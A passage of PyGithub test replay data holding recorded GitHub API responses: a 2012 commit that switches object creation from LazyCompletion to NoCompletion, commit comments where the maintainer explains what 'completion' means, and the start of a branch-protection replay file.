\r\n {% if method.type.cardinality == \"list\" %}\r","additions":1,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/AuthenticatedUser.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/AuthenticatedUser.py","changes":16,"deletions":8,"filename":"src/github/AuthenticatedUser.py","patch":"@@ -187,7 +187,7 @@ def create_authorization( self, scopes = DefaultValueForOptionalParameters, note\n None,\n post_parameters\n )\n- return Authorization.Authorization( self.__requester, data, completion = LazyCompletion )\n+ return Authorization.Authorization( self.__requester, data, completion = NoCompletion )\n \n def create_fork( self, repo ):\n status, headers, data = self.__requester.request(\n@@ -196,7 +196,7 @@ def create_fork( self, repo ):\n None,\n None\n )\n- return Repository.Repository( self.__requester, data, completion = LazyCompletion )\n+ return Repository.Repository( self.__requester, data, completion = NoCompletion )\n \n def create_gist( self, public, files, description = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -211,7 +211,7 @@ def create_gist( self, public, files, description = DefaultValueForOptionalParam\n None,\n post_parameters\n )\n- return Gist.Gist( self.__requester, data, completion = LazyCompletion )\n+ return Gist.Gist( self.__requester, data, completion = NoCompletion )\n \n def create_key( self, title, key ):\n post_parameters = {\n@@ -224,7 +224,7 @@ def create_key( self, title, key ):\n None,\n post_parameters\n )\n- return UserKey.UserKey( self.__requester, data, completion = LazyCompletion )\n+ return UserKey.UserKey( self.__requester, data, completion = NoCompletion )\n \n def create_repo( self, name, description = DefaultValueForOptionalParameters, homepage = DefaultValueForOptionalParameters, private = DefaultValueForOptionalParameters, has_issues = DefaultValueForOptionalParameters, has_wiki = DefaultValueForOptionalParameters, has_downloads = DefaultValueForOptionalParameters, team_id = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -250,7 +250,7 @@ def create_repo( self, name, description = DefaultValueForOptionalParameters, ho\n None,\n post_parameters\n )\n- return Repository.Repository( self.__requester, data, completion = LazyCompletion )\n+ return Repository.Repository( self.__requester, data, completion = NoCompletion )\n \n def edit( self, name = DefaultValueForOptionalParameters, email = DefaultValueForOptionalParameters, blog = DefaultValueForOptionalParameters, company = DefaultValueForOptionalParameters, location = DefaultValueForOptionalParameters, hireable = DefaultValueForOptionalParameters, bio = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -284,7 +284,7 @@ def get_authorization( self, id ):\n None,\n None\n )\n- return Authorization.Authorization( self.__requester, data, completion = LazyCompletion )\n+ return Authorization.Authorization( self.__requester, data, completion = NoCompletion )\n \n def get_authorizations( self ):\n status, headers, data = self.__requester.request(\n@@ -386,7 +386,7 @@ def get_key( self, id ):\n None,\n None\n )\n- return UserKey.UserKey( self.__requester, data, completion = LazyCompletion )\n+ return UserKey.UserKey( self.__requester, data, completion = NoCompletion )\n \n def get_keys( self ):\n status, headers, data = self.__requester.request(\n@@ -437,7 +437,7 @@ def get_repo( self, name ):\n None,\n None\n )\n- return Repository.Repository( self.__requester, data, completion = LazyCompletion )\n+ return Repository.Repository( self.__requester, data, completion = NoCompletion )\n \n def get_repos( self, type = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(","additions":8,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Commit.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Commit.py","changes":2,"deletions":1,"filename":"src/github/Commit.py","patch":"@@ -77,7 +77,7 @@ def create_comment( self, body, commit_id = DefaultValueForOptionalParameters, l\n None,\n post_parameters\n )\n- return CommitComment.CommitComment( self.__requester, data, completion = LazyCompletion )\n+ return CommitComment.CommitComment( self.__requester, data, completion = NoCompletion )\n \n def get_comments( self ):\n status, headers, data = self.__requester.request(","additions":1,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Gist.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Gist.py","changes":6,"deletions":3,"filename":"src/github/Gist.py","patch":"@@ -96,7 +96,7 @@ def create_comment( self, body ):\n None,\n post_parameters\n )\n- return GistComment.GistComment( self.__requester, data, completion = LazyCompletion )\n+ return GistComment.GistComment( self.__requester, data, completion = NoCompletion )\n \n def create_fork( self ):\n status, headers, data = self.__requester.request(\n@@ -105,7 +105,7 @@ def create_fork( self ):\n None,\n None\n )\n- return Gist( self.__requester, data, completion = LazyCompletion )\n+ return Gist( self.__requester, data, completion = NoCompletion )\n \n def delete( self ):\n status, headers, data = self.__requester.request(\n@@ -137,7 +137,7 @@ def get_comment( self, id ):\n None,\n None\n )\n- return GistComment.GistComment( self.__requester, data, completion = LazyCompletion )\n+ return GistComment.GistComment( self.__requester, data, completion = NoCompletion )\n \n def get_comments( self ):\n status, headers, data = self.__requester.request(","additions":3,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Issue.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Issue.py","changes":4,"deletions":2,"filename":"src/github/Issue.py","patch":"@@ -122,7 +122,7 @@ def create_comment( self, body ):\n None,\n post_parameters\n )\n- return IssueComment.IssueComment( self.__requester, data, completion = LazyCompletion )\n+ return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n pass\n@@ -157,7 +157,7 @@ def get_comment( self, id ):\n None,\n None\n )\n- return IssueComment.IssueComment( self.__requester, data, completion = LazyCompletion )\n+ return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def get_comments( self ):\n status, headers, data = self.__requester.request(","additions":2,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/NamedUser.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/NamedUser.py","changes":4,"deletions":2,"filename":"src/github/NamedUser.py","patch":"@@ -161,7 +161,7 @@ def create_gist( self, public, files, description = DefaultValueForOptionalParam\n None,\n post_parameters\n )\n- return Gist.Gist( self.__requester, data, completion = LazyCompletion )\n+ return Gist.Gist( self.__requester, data, completion = NoCompletion )\n \n def get_events( self ):\n status, headers, data = self.__requester.request(\n@@ -282,7 +282,7 @@ def get_repo( self, name ):\n None,\n None\n )\n- return Repository.Repository( self.__requester, data, completion = LazyCompletion )\n+ return Repository.Repository( self.__requester, data, completion = NoCompletion )\n \n def get_repos( self, type = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(","additions":2,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Organization.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Organization.py","changes":8,"deletions":4,"filename":"src/github/Organization.py","patch":"@@ -156,7 +156,7 @@ def create_fork( self, repo ):\n url_parameters,\n None\n )\n- return Repository.Repository( self.__requester, data, completion = LazyCompletion )\n+ return Repository.Repository( self.__requester, data, completion = NoCompletion )\n \n def create_repo( self, name, description = DefaultValueForOptionalParameters, homepage = DefaultValueForOptionalParameters, private = DefaultValueForOptionalParameters, has_issues = DefaultValueForOptionalParameters, has_wiki = DefaultValueForOptionalParameters, has_downloads = DefaultValueForOptionalParameters, team_id = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -182,7 +182,7 @@ def create_repo( self, name, description = DefaultValueForOptionalParameters, ho\n None,\n post_parameters\n )\n- return Repository.Repository( self.__requester, data, completion = LazyCompletion )\n+ return Repository.Repository( self.__requester, data, completion = NoCompletion )\n \n def create_team( self, name, repo_names = DefaultValueForOptionalParameters, permission = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -198,7 +198,7 @@ def create_team( self, name, repo_names = DefaultValueForOptionalParameters, per\n None,\n post_parameters\n )\n- return Team.Team( self.__requester, data, completion = LazyCompletion )\n+ return Team.Team( self.__requester, data, completion = NoCompletion )\n \n def edit( self, billing_email = DefaultValueForOptionalParameters, blog = DefaultValueForOptionalParameters, company = DefaultValueForOptionalParameters, email = DefaultValueForOptionalParameters, location = DefaultValueForOptionalParameters, name = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -272,7 +272,7 @@ def get_repo( self, name ):\n None,\n None\n )\n- return Repository.Repository( self.__requester, data, completion = LazyCompletion )\n+ return Repository.Repository( self.__requester, data, completion = NoCompletion )\n \n def get_repos( self, type = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(","additions":4,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/PullRequest.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/PullRequest.py","changes":2,"deletions":1,"filename":"src/github/PullRequest.py","patch":"@@ -171,7 +171,7 @@ def get_comment( self, id ):\n None,\n None\n )\n- return PullRequestComment.PullRequestComment( self.__requester, data, completion = LazyCompletion )\n+ return PullRequestComment.PullRequestComment( self.__requester, data, completion = NoCompletion )\n \n def get_comments( self ):\n status, headers, data = self.__requester.request(","additions":1,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Repository.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/src/github/Repository.py","changes":52,"deletions":26,"filename":"src/github/Repository.py","patch":"@@ -218,7 +218,7 @@ def create_download( self, name, size, description = DefaultValueForOptionalPara\n None,\n post_parameters\n )\n- return Download.Download( self.__requester, data, completion = LazyCompletion )\n+ return Download.Download( self.__requester, data, completion = NoCompletion )\n \n def create_git_blob( self, content, encoding ):\n post_parameters = {\n@@ -231,7 +231,7 @@ def create_git_blob( self, content, encoding ):\n None,\n post_parameters\n )\n- return GitBlob.GitBlob( self.__requester, data, completion = LazyCompletion )\n+ return GitBlob.GitBlob( self.__requester, data, completion = NoCompletion )\n \n def create_git_commit( self, message, tree, parents, author = DefaultValueForOptionalParameters, committer = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -249,7 +249,7 @@ def create_git_commit( self, message, tree, parents, author = DefaultValueForOpt\n None,\n post_parameters\n )\n- return GitCommit.GitCommit( self.__requester, data, completion = LazyCompletion )\n+ return GitCommit.GitCommit( self.__requester, data, completion = NoCompletion )\n \n def create_git_ref( self, ref, sha ):\n post_parameters = {\n@@ -262,7 +262,7 @@ def create_git_ref( self, ref, sha ):\n None,\n post_parameters\n )\n- return GitRef.GitRef( self.__requester, data, completion = LazyCompletion )\n+ return GitRef.GitRef( self.__requester, data, completion = NoCompletion )\n \n def create_git_tag( self, tag, message, object, type, tagger = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -279,7 +279,7 @@ def create_git_tag( self, tag, message, object, type, tagger = DefaultValueForOp\n None,\n post_parameters\n )\n- return GitTag.GitTag( self.__requester, data, completion = LazyCompletion )\n+ return GitTag.GitTag( self.__requester, data, completion = NoCompletion )\n \n def create_git_tree( self, tree, base_tree = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -293,7 +293,7 @@ def create_git_tree( self, tree, base_tree = DefaultValueForOptionalParameters )\n None,\n post_parameters\n )\n- return GitTree.GitTree( self.__requester, data, completion = LazyCompletion )\n+ return GitTree.GitTree( self.__requester, data, completion = NoCompletion )\n \n def create_hook( self, name, config, events = DefaultValueForOptionalParameters, active = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -310,7 +310,7 @@ def create_hook( self, name, config, events = DefaultValueForOptionalParameters,\n None,\n post_parameters\n )\n- return Hook.Hook( self.__requester, data, completion = LazyCompletion )\n+ return Hook.Hook( self.__requester, data, completion = NoCompletion )\n \n def create_issue( self, title, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -330,7 +330,7 @@ def create_issue( self, title, body = DefaultValueForOptionalParameters, assigne\n None,\n post_parameters\n )\n- return Issue.Issue( self.__requester, data, completion = LazyCompletion )\n+ return Issue.Issue( self.__requester, data, completion = NoCompletion )\n \n def create_key( self, title, key ):\n post_parameters = {\n@@ -343,7 +343,7 @@ def create_key( self, title, key ):\n None,\n post_parameters\n )\n- return RepositoryKey.RepositoryKey( self.__requester, data, completion = LazyCompletion )\n+ return RepositoryKey.RepositoryKey( self.__requester, data, completion = NoCompletion )\n \n def create_label( self, name, color ):\n post_parameters = {\n@@ -356,7 +356,7 @@ def create_label( self, name, color ):\n None,\n post_parameters\n )\n- return Label.Label( self.__requester, data, completion = LazyCompletion )\n+ return Label.Label( self.__requester, data, completion = NoCompletion )\n \n def create_milestone( self, title, state = DefaultValueForOptionalParameters, description = DefaultValueForOptionalParameters, due_on = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -374,7 +374,7 @@ def create_milestone( self, title, state = DefaultValueForOptionalParameters, de\n None,\n post_parameters\n )\n- return Milestone.Milestone( self.__requester, data, completion = LazyCompletion )\n+ return Milestone.Milestone( self.__requester, data, completion = NoCompletion )\n \n def edit( self, name, description = DefaultValueForOptionalParameters, homepage = DefaultValueForOptionalParameters, public = DefaultValueForOptionalParameters, has_issues = DefaultValueForOptionalParameters, has_wiki = DefaultValueForOptionalParameters, has_downloads = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -435,7 +435,7 @@ def get_comment( self, id ):\n None,\n None\n )\n- return CommitComment.CommitComment( self.__requester, data, completion = LazyCompletion )\n+ return CommitComment.CommitComment( self.__requester, data, completion = NoCompletion )\n \n def get_comments( self ):\n status, headers, data = self.__requester.request(\n@@ -458,7 +458,7 @@ def get_commit( self, sha ):\n None,\n None\n )\n- return Commit.Commit( self.__requester, data, completion = LazyCompletion )\n+ return Commit.Commit( self.__requester, data, completion = NoCompletion )\n \n def get_commits( self, sha = DefaultValueForOptionalParameters, path = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(\n@@ -495,7 +495,7 @@ def get_download( self, id ):\n None,\n None\n )\n- return Download.Download( self.__requester, data, completion = LazyCompletion )\n+ return Download.Download( self.__requester, data, completion = NoCompletion )\n \n def get_downloads( self ):\n status, headers, data = self.__requester.request(\n@@ -546,7 +546,7 @@ def get_git_blob( self, sha ):\n None,\n None\n )\n- return GitBlob.GitBlob( self.__requester, data, completion = LazyCompletion )\n+ return GitBlob.GitBlob( self.__requester, data, completion = NoCompletion )\n \n def get_git_commit( self, sha ):\n status, headers, data = self.__requester.request(\n@@ -555,7 +555,7 @@ def get_git_commit( self, sha ):\n None,\n None\n )\n- return GitCommit.GitCommit( self.__requester, data, completion = LazyCompletion )\n+ return GitCommit.GitCommit( self.__requester, data, completion = NoCompletion )\n \n def get_git_ref( self, ref ):\n status, headers, data = self.__requester.request(\n@@ -564,7 +564,7 @@ def get_git_ref( self, ref ):\n None,\n None\n )\n- return GitRef.GitRef( self.__requester, data, completion = LazyCompletion )\n+ return GitRef.GitRef( self.__requester, data, completion = NoCompletion )\n \n def get_git_refs( self ):\n status, headers, data = self.__requester.request(\n@@ -587,7 +587,7 @@ def get_git_tag( self, sha ):\n None,\n None\n )\n- return GitTag.GitTag( self.__requester, data, completion = LazyCompletion )\n+ return GitTag.GitTag( self.__requester, data, completion = NoCompletion )\n \n def get_git_tree( self, sha, recursive = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(\n@@ -596,7 +596,7 @@ def get_git_tree( self, sha, recursive = DefaultValueForOptionalParameters ):\n None,\n None\n )\n- return GitTree.GitTree( self.__requester, data, completion = LazyCompletion )\n+ return GitTree.GitTree( self.__requester, data, completion = NoCompletion )\n \n def get_hook( self, id ):\n status, headers, data = self.__requester.request(\n@@ -605,7 +605,7 @@ def get_hook( self, id ):\n None,\n None\n )\n- return Hook.Hook( self.__requester, data, completion = LazyCompletion )\n+ return Hook.Hook( self.__requester, data, completion = NoCompletion )\n \n def get_hooks( self ):\n status, headers, data = self.__requester.request(\n@@ -628,7 +628,7 @@ def get_issue( self, number ):\n None,\n None\n )\n- return Issue.Issue( self.__requester, data, completion = LazyCompletion )\n+ return Issue.Issue( self.__requester, data, completion = NoCompletion )\n \n def get_issues( self, milestone = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, mentioned = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters, sort = DefaultValueForOptionalParameters, direction = DefaultValueForOptionalParameters, since = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(\n@@ -651,7 +651,7 @@ def get_issues_event( self, id ):\n None,\n None\n )\n- return IssueEvent.IssueEvent( self.__requester, data, completion = LazyCompletion )\n+ return IssueEvent.IssueEvent( self.__requester, data, completion = NoCompletion )\n \n def get_issues_events( self ):\n status, headers, data = self.__requester.request(\n@@ -674,7 +674,7 @@ def get_key( self, id ):\n None,\n None\n )\n- return RepositoryKey.RepositoryKey( self.__requester, data, completion = LazyCompletion )\n+ return RepositoryKey.RepositoryKey( self.__requester, data, completion = NoCompletion )\n \n def get_keys( self ):\n status, headers, data = self.__requester.request(\n@@ -697,7 +697,7 @@ def get_label( self, name ):\n None,\n None\n )\n- return Label.Label( self.__requester, data, completion = LazyCompletion )\n+ return Label.Label( self.__requester, data, completion = NoCompletion )\n \n def get_labels( self ):\n status, headers, data = self.__requester.request(\n@@ -729,7 +729,7 @@ def get_milestone( self, number ):\n None,\n None\n )\n- return Milestone.Milestone( self.__requester, data, completion = LazyCompletion )\n+ return Milestone.Milestone( self.__requester, data, completion = NoCompletion )\n \n def get_milestones( self, state = DefaultValueForOptionalParameters, sort = DefaultValueForOptionalParameters, direction = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(\n@@ -766,7 +766,7 @@ def get_pull( self, number ):\n None,\n None\n )\n- return PullRequest.PullRequest( self.__requester, data, completion = LazyCompletion )\n+ return PullRequest.PullRequest( self.__requester, data, completion = NoCompletion )\n \n def get_pulls( self, state = DefaultValueForOptionalParameters ):\n status, headers, data = self.__requester.request(","additions":26,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"},{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/test/ReplayData/Repository.testAttributes.txt","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/test/ReplayData/Repository.testAttributes.txt","changes":5,"deletions":5,"filename":"test/ReplayData/Repository.testAttributes.txt","patch":"@@ -3,8 +3,3 @@ GET /repos/jacquev6/PyGithub {} null\n [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8b91cd1456a5d4ef451946f882d9161e\"'), ('date', 'Wed, 09 May 2012 10:26:15 GMT'), ('content-type', 'application/json; charset=utf-8')]\r\n {\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"has_downloads\":true,\"watchers\":13,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":2,\"language\":\"Python\",\"size\":212,\"description\":\"Python library implementing the full Github API v3\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"private\":false,\"created_at\":\"2012-02-25T12:53:47Z\",\"open_issues\":15,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"id\":327146},\"name\":\"PyGithub\",\"pushed_at\":\"2012-05-08T19:27:43Z\",\"id\":3544490,\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"updated_at\":\"2012-05-08T19:27:43Z\"}\r\n \r\n-GET /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed'} null\r\n-200\r\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8b91cd1456a5d4ef451946f882d9161e\"'), ('date', 'Wed, 09 May 2012 10:26:15 GMT'), ('content-type', 'application/json; charset=utf-8')]\r\n-{\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"has_downloads\":true,\"watchers\":13,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":2,\"language\":\"Python\",\"size\":212,\"description\":\"Python library implementing the full Github API v3\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"private\":false,\"created_at\":\"2012-02-25T12:53:47Z\",\"open_issues\":15,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"id\":327146},\"name\":\"PyGithub\",\"pushed_at\":\"2012-05-08T19:27:43Z\",\"id\":3544490,\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"updated_at\":\"2012-05-08T19:27:43Z\"}\r\n-\r","additions":0,"sha":"6945921c529be14c3a8f566dd1e483674516d46d"}],"sha":"6945921c529be14c3a8f566dd1e483674516d46d","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a72d8b135841aa00158054d229c8e18333075cd4","sha":"a72d8b135841aa00158054d229c8e18333075cd4"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-12T06:29:15-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6945921c529be14c3a8f566dd1e483674516d46d","message":"Use NoCompletion when creating an object from the result of a request","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-12T06:29:15-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/793ba5982623f4723ad63706da9a483ac82b3411","sha":"793ba5982623f4723ad63706da9a483ac82b3411"}}} https GET api.github.com None /repos/jacquev6/PyGithub/commits/6945921c529be14c3a8f566dd1e483674516d46d/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('content-length', '4322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"eb6946c4ceb5d978e884888f62d28344"'), ('date', 'Fri, 18 May 2012 20:12:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-18T08:46:09Z","position":null,"body":"probably a noob question: does this completion refer to autocompletion in IDE's/editors? \nI have observed that this is pretty erratic sometimes. I'm using PyDev+Eclipse.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to NamedUsers/AuthenticatedUser, really) does not show autocompletion to `g.get_user().get_repo()`. Is that by design? It makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347033","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347033","created_at":"2012-05-18T08:46:09Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347033},{"updated_at":"2012-05-18T09:03:40Z","position":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestone 1.0.\n\nThanks !","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347083","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347083","created_at":"2012-05-18T08:59:28Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1347083},{"updated_at":"2012-05-18T10:55:55Z","position":null,"body":"Ah, thanks for the clarification. :blush:\n\nI made issue #27 for the autocompletion. I already suspected something like this meta-description magic, since I tried to read some of the code and it was pretty arcane. I attributed that to my pythonic noobness, though. Thank you. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347397","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347397","created_at":"2012-05-18T10:54:23Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347397},{"updated_at":"2012-05-18T20:11:17Z","position":3,"body":"This comment is here only to test PyGithub...","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1349654","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1349654","created_at":"2012-05-18T20:11:17Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":25,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1349654}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditProtection.txt0000644000175100001660000001477614756101563023766 0ustar00runnerdockerhttps PUT api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Accept': 'application/vnd.github.luke-cage-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"required_status_checks": {"strict": true, "checks": []}, "enforce_admins": null, "required_pull_request_reviews": {"require_code_owner_reviews": true, "required_approving_review_count": 2, "require_last_push_approval": true}, "restrictions": null, "required_linear_history": null, "allow_force_pushes": null, "required_conversation_resolution": null, "lock_branch": null, "allow_fork_syncing": null, "block_creations": null, "allow_deletions": null} 200 [('Date', 'Tue, 17 Dec 2024 15:34:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7183d96085bf729a314755409418bbead92fbd43a9fb54d5f82ac9c67cca3390"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=luke-cage-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4803'), ('X-RateLimit-Reset', '1734453089'), ('X-RateLimit-Used', '197'), ('X-RateLimit-Resource', 'core'), 